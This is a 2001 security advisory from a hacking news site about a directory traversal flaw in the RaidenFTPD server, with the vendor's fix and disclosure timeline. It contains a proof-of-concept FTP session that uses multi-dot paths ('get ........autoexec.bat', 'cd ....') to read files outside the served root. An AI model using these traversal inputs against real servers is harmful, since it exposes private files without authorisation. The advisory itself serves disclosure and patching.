Users login

Create an account »

JOIN XATRIX

Users login

Home » Hacking News » RaidenFTPD Directory Traversal Vulnerability

RaidenFTPD Directory Traversal Vulnerability

by platon on April 30th, 2001 Raiden FTPD is susceptible to directory traversal attacks using multiple dots in submitted commands specifying file paths...



If the request is properly composed, RaidenFTPD will serve files outside of the intended webroot, potentially compromising the privacy of user data and/or obtaining information which could be used to further compromise the host.


(courtesty [email protected]):


> ftp localhost
220-This FTP site is running free version of RaidenFTPD
220-Download chinese version from http://playstation2.idv.tw/raiden-ftpd-
site/
220-Download english version from http://playstation2.idv.tw/raidenftpd/
220-RaidenFTPD32 for RaidenFTPD (up since 2001/04/20 15:00)
220-This server is for private use only
220-If you do not have access to this server
220-Please disconnect now
220 Please enter your login name now.
User (xxxxxxxx.rh.rit.edu:(none)): jdog
331 Password required for jdog .
Password:
[really long login banner edited out]
230 User jdog logged in , proceed.
ftp> get ........autoexec.bat
200 Port command ok.
150 Sending /........autoexec.bat (419 bytes). Mode STREAM Type ASCII
226-Ñ+ª+¦s+uññ_zª@ ñU¦¦ : 419 ª_ñ+_+ ñW¦¦ : 0 ª_ñ+_+
226-¦¦½ßñ@ª+ñU¦¦¬¦¦t½+¼O : 419 kb/sec _zª¦ Unlimited kb ¬¦ñU¦¦+B½+
226-Ñ+½e¬¦Ñ++²¼O /
226 Transfer finished successfully. Data connection closed.
ftp: 419 bytes received in 0.27Seconds 1.55Kbytes/sec.
ftp> cd ....
250-ª¦Ñ++²¦-ñU¬+¦í 1323 mb
250 "/.." is current directory.


(courtesty [email protected]):

Solution
Upgrade to build #952 at:
http://playstation2.idv.tw/raidenftpd/download.html


Vendor Status

Team JohnLong was contacted via [email protected] on Friday, April 20, 2001.They quickly responded and worked diligently on the problems until all issues were fixed.

Team JohnLong RaidenFTPD 2.1 build 951:
Team JohnLong upgrade version 2.01 build #952 raidenftpd2.zip
http://playstation2.idv.tw/download/raidenftpd2.zip

Team JohnLong RaidenFTPD 2.1 build 950:
Team JohnLong upgrade version 2.01 build #952 raidenftpd2.zip
http://playstation2.idv.tw/download/raidenftpd2.zip

Team JohnLong RaidenFTPD 2.1 build 949:
Team JohnLong upgrade version 2.01 build #952 raidenftpd2.zip
http://playstation2.idv.tw/download/raidenftpd2.zip

Team JohnLong RaidenFTPD 2.1 build 948:
Team JohnLong upgrade version 2.01 build #952 raidenftpd2.zip
http://playstation2.idv.tw/download/raidenftpd2.zip

Team JohnLong RaidenFTPD 2.1 build 947:
Team JohnLong upgrade version 2.01 build #952 raidenftpd2.zip
http://playstation2.idv.tw/download/raidenftpd2.zip


Newsletter signup

Signup to our monthly newsletter and stay in touch with IT news!

Free E-books

We've got ebooks! But they're not online. :( Please give us a few days to bring downloads back.

Contact

Have something to say or just wanna drop us a line? Please keep this in mind: to spam, we reply with spam.

Contact us »